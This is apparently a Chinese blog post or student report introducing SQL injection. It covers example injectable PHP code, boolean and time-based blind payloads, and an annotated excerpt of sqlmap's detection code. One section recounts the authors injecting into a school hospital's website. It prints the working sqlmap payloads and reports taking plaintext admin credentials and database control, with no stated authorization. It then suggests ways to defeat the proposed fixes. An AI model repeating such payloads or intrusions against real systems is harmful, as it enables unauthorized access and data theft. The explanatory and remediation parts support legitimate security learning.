您的位置:首页 > 数据库

sql注入入门

2016-03-07 17:02 281 查看
0x01 SQL注入原理

随着互联网web和信息技术的发展,在web后端作为存储和管理的的数据库也得到了广泛的应用,与web结合较为紧密的数据库包括 Mysql,Sqlserver,Oracle,Sqllite,Db2,Access等等。 数据存储和管理作为应用的一个基本需求,在绝大多数的应用里都得到了使用,这种大面积的使用也意味着在数据库操作方面如果处理不当出现问题的可能性会很大,另外一方面由于数据库承载了应用的数据信息,如果数据库出现问题一方面可能导致敏感数据的泄露和篡改,直接导致损失和应用被攻陷,另外一方面,即使数据库中不承载较为敏感的信息,由于数据库的特殊性,数据库被攻击的话也可以直接导致应用程序崩溃。

应用为了和数据库进行沟通完成必要的管理和存储工作,必须和数据库保留一种接口。目前的数据库一般都是提供API以支持管理,应用使用底层开发语言如 PHP,Java,asp,Python与这些API进行通讯。对于数据库的操作,目前普遍使用SQL语言,SQL作为字符串通过API传入给数据库,数据库将查询的结果返回,然而数据库自身是无法分辨传入的SQL是合法的还是不合法的,它完全信任传入的数据,而如果传入的SQL语句被恶意用户控制或者篡改,则有可能导致用户获得额外权限,并使数据库执行特殊构造的命令(payload代码),导致安全问题(轻者造成不必要的信息泄露,重者可能造成数据库被损毁删除等严重问题)。

而具体的payload构造可以参考如下的例子:

$sql="select * from members where userid=".$_GET[userid];

$sb->query($sql);

这段代码的逻辑是根据用户请求的Userid进入数据库查询出不同的用户并且返回给用户,可以看到最终传入的字符串有一部分是根据用户的输入来控制的,然而一旦用户提交:

poc.php?userid=1 or 1=1

最终进入程序之后传入数据库的逻辑将是:

$sb->query("select * from members where userid=1 or 1=1");

用户将完全可以根据传入的内容来控制整个SQL的逻辑,实现间接控制和管理数据库的目的,这种命令(SQL语句)和数据(用户提交的查询)不分开的实现方式导致了安全漏洞的产生。而通过对输入数据的限制及合法性检查就可以避开大部分基础性漏洞。

0x02 SQL盲注初试

盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为三类。

Boolean base

Time base

Error base

第一类Boolean就是我们最常接触到的普通盲注。

比如在where语句中可以构造or 1=1或其他bool值为true的语句来绕过bool变量相关的限制,来获得权限之外的数据。而SQL语句中的order by同样也可以注入点来源,可以通过使用判断语句来构造报错。代码如下:

Select name from table where 1=1;

Select name from table where 1=0;

Select 1 from table order by if(1,1,(select 1 union select 2))limit 0,3;

select 1 from table order by if(0,1,(select 1 union select 2)) limit 0,3;

而第二类基于时间的盲注,大部分数据库查询不同的数据的根据路径及查询数据数目的不同返回时间都有微小的差异,然而通过在SQL注入语句中使用sleep/banchmark函数扩大每次查询的时间,将这种差异放大,并对数据库内容进行区分。例如下面的例子:

Select 1 from table where if(1=1,sleep(1),1) limit 0,1;

//return with “empty set (27.00sec)”

select 1 from table where if(1=2,sleep(1),1) limit 0,1;

//return with the data and “1 row in set (0.00 sec)”

而最后一种基于报错的盲注的则是通过引发数据库报错来确定数据库类型,并为进一步进行其他测试提供参照。

0x03 SQL注入自动化

随着sql注入的演化发展,对一些常见漏洞的注入变得越来越规范化,程序化,sql自动化注入工具也随之产生,比较有名的包括SQLmap、Pangolin、BSQLhacker等。这些工具各有特色,有的包含图形化界面(如Pangolin),有的专门应对含有IPS/IDS的数据库类型(如The Mole)。而SQLmap则其中比较通用的一款工具。

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,其作者是Bernardo DameleAssumpcao Guimaraes (@inquisb)。源码可在http://sourceforge.net/projects/sqlmap/

找到,SQLmap基本功能包括对检测与利用SQL漏洞的自动化处理(数据库指纹、访问底层文件系统、执行命令)。内部由python代码实现,包含多种漏洞,内部测试随机产生可能注入字符并对输入网址进行访问及注入尝试。

SQLmap的拥有开源(便于学习者根据源码分析常见注入漏洞产生及payload),高效(命令行界面操作简单,接口便利,便于集成)及广泛适应(对于多种数据库,多种SQL漏洞都有较好注入效果)等特性,这些特性让其非常适于SQL注入学习者用于入门学习。

0x04常见注入点举例——SQLmap原理分析

SQLmap执行注入基本步骤包括设置,检测,指纹识别,行为,接管五部分。

其中设置为sqlmap初始化过程,检测则是依据已经存入的SQL注入类型构造注入url并发送,指纹则是在数据库爆出有效信息后对数据库进行识别(然后构造新的更加有针对性的注入),行为则是在用户输入一些参数(如针对的database\table\column名称,所需信息类型,数据库安全等级等)后,执行不同类型的注入测试。而最后数据库提权、抽象化,注入信息管理等功能则在接管部分中实现。附分析图如下。

而五个步骤中主要攻击步骤集中在检测,部分,而用户行为反馈集中在行为部分,这两部分构成了工具的主要内容。以检测部分为例,而在检测过程中,SQLmap首先通过checkWaf检测数据库防护性,之后通过heuristicCheckSqlInjection函数尝试初始测试以获得有效信息。最后开始进行check通过遍历六种常见漏洞尝试注入。下面以502行简单测试函数heuristicCheckSqlInjection()为例解析注入代码执行过程:

if conf.prefix or conf.suffix://代表用户指定的注入代码前缀及后缀

if conf.prefix:

prefix = conf.prefix

if conf.suffix:

suffix = conf.suffix

randStr = ""//用于构造payload随机字符串

while '\'' not in randStr:

randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) //随机选择'"', '\'', ')', '(', ',', '.'中的字符共10个用于构造随机注入字符串

kb.heuristicMode = True

payload = "%s%s%s" % (prefix, randStr, suffix)

payload = agent.payload(place, parameter, newValue=payload)

page, _ = Request.queryPage(payload, place, content=True, raise404=False)//向网页发送注入攻击

kb.heuristicMode = False

parseFilePaths(page)//用parseFilePaths函数检查网页是否爆出绝对路径

result = wasLastResponseDBMSError()//用wasLastResponseDBMSError函数判断response中是否包含了可用于甄别数据库类型数据库的报错信息

而在使用过程中,命令行界面也会显示正在尝试的漏洞注入方法类型及出现的问题,

已截图中的过程为例,首先链接-u中的url对象,之后测试url稳定程度,然后测试参数id的动态属性,结果确定get方法中的id参数动态,最终注入失败。

0x05 SQL漏洞举例——某校医院为例

SQLmap使用过程中,我们以校医院为对象进行注入,最后成功查询到明文存储于数据库中的管理员名称及密码,获得了数据库管理权限。

1.漏洞复现

sqlmap identified the following injection points with a total of 17 HTTP(s) requests:

---

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=28 AND 9183=9183

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: id=28 AND (SELECT 1971 FROM(SELECT COUNT(*),CONCAT(0x3a6479763a,(SELECT (CASE WHEN (1971=1971) THEN 1 ELSE 0 END)),0x3a6869693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query

Title: MySQL UNION query (NULL) - 4 columns

Payload: id=28 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6479763a,0x6b4c45616f5a59625070,0x3a6869693a), NULL, NULL

结果:获得管理员权限

2.漏洞原因

于get得到的url没有进行检测

3.建议解决方案

a) 对密码进行hash后存储hash值

b) 限制输入的字符串

c) 使用动态url

d) 限制在url中id的使用

e) 采用“伪管理员”策略隐蔽管理员信息

4.针对解决方案的改进注入方法

a) 对于hash值进行MD5暴力破解

b) 使用ascii码绕过检测

0x06 网络安全未来评估

在计算机技术高速发展的今天,人们开始面临越来越复杂的骇客技术和层出不断的技术变种。利用Internet 执行各种恶意活动,如身份窃取、私密信息窃取、带宽资源占用等已经变的越来越常见。而在用户遭受侵害后,病毒还会扩散并自动更新。利用用户的好奇心,在用户不知道或未允许的情况下潜入用户的PC,不知不觉中,获取得到个人信息,危害隐私,公共安全危害十分严重。

2006年8月16日,第一个Web威胁样本出现,截止到2006年10月25日,已经产生了第150个变种,并且,还在不断地演化下去。

网站威胁的目标定位有多个维度,是个人还是公司,还是某种行业,都有其考虑,甚至国家、地区、性别、种族、宗教等也成为发动攻击的原因或动机。攻击还会采用多种形态,甚至是复合形态,比如病毒、蠕虫、特洛伊木马、间谍软件、僵尸、网络钓鱼电子邮件、漏洞利用、下载程序、社会工程、rootkit、黑客,结果都可以导致用户信息受到危害,或者导致用户所需的服务被拒绝和劫持。

而从来源说Web威胁还可以分为内部攻击和外部攻击两种类型。前者主要来自信任网络,可能是用户执行了未授权访问或是无意中定制了恶意攻击;后者主要是由于网络漏洞被利用或者用户受到恶意程序制定者的专一攻击。

而SQL注入作为新进的攻击手段,虽然没有系统安全那样历史悠久,但是随着网络的广泛使用和动态语言的不规范性,理解、避免和修补SQL注入漏洞仍然是一件十分费力且繁复的事情,例如url中广泛使用的利用get函数传递id参数,对于数据库错误没有适当的避免泄露信息的返回页面,各种框架广泛地利用文本框做信息传递都是漏洞泛滥的成因。

一名网站构建者或是服务器架构师,如果缺乏对所用语言的细致了解,将很难避免那些“别有用心”的用户通过“正确”渠道,传进危害服务器的信息和指令,而服务器作为大量数据的存储位置,如果被攻破或是存在安全隐患,将为用户和系统带来难以统计的损失,如近几年,多次出现知名网站被“脱库”的重大安全事件,可见SQL注入漏洞带来危害之严重性。

而在本次课题研究过程中,在wooyun平台的播报中,同样看到了许多近期的,被披露出的被修复的一些SQL漏洞,然而其中甚至包括360等以安全见长的公司及企业。另有一则信息称在google可搜到的1000个网站的随机取样测试,其中11.3%属于易受SQL注入攻击的范围,由此可见SQL漏洞传播范围之广,避免之困难。

而SQL注入漏洞牵涉的另一个问题则是数据库安全性,敏感信息的明文存储,管理权限的混乱使用,对用户输入数据的过分新任都将数据库安全性严重降低,一旦经受注入攻击,将损失严重。

0x07资料参考

SQLMap的前世今生(Part1)
http://drops.wooyun.org/tips/8614
渗透测试工具基本教程
http://blog.csdn.net/zgyulongfei/article/details/41017493
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: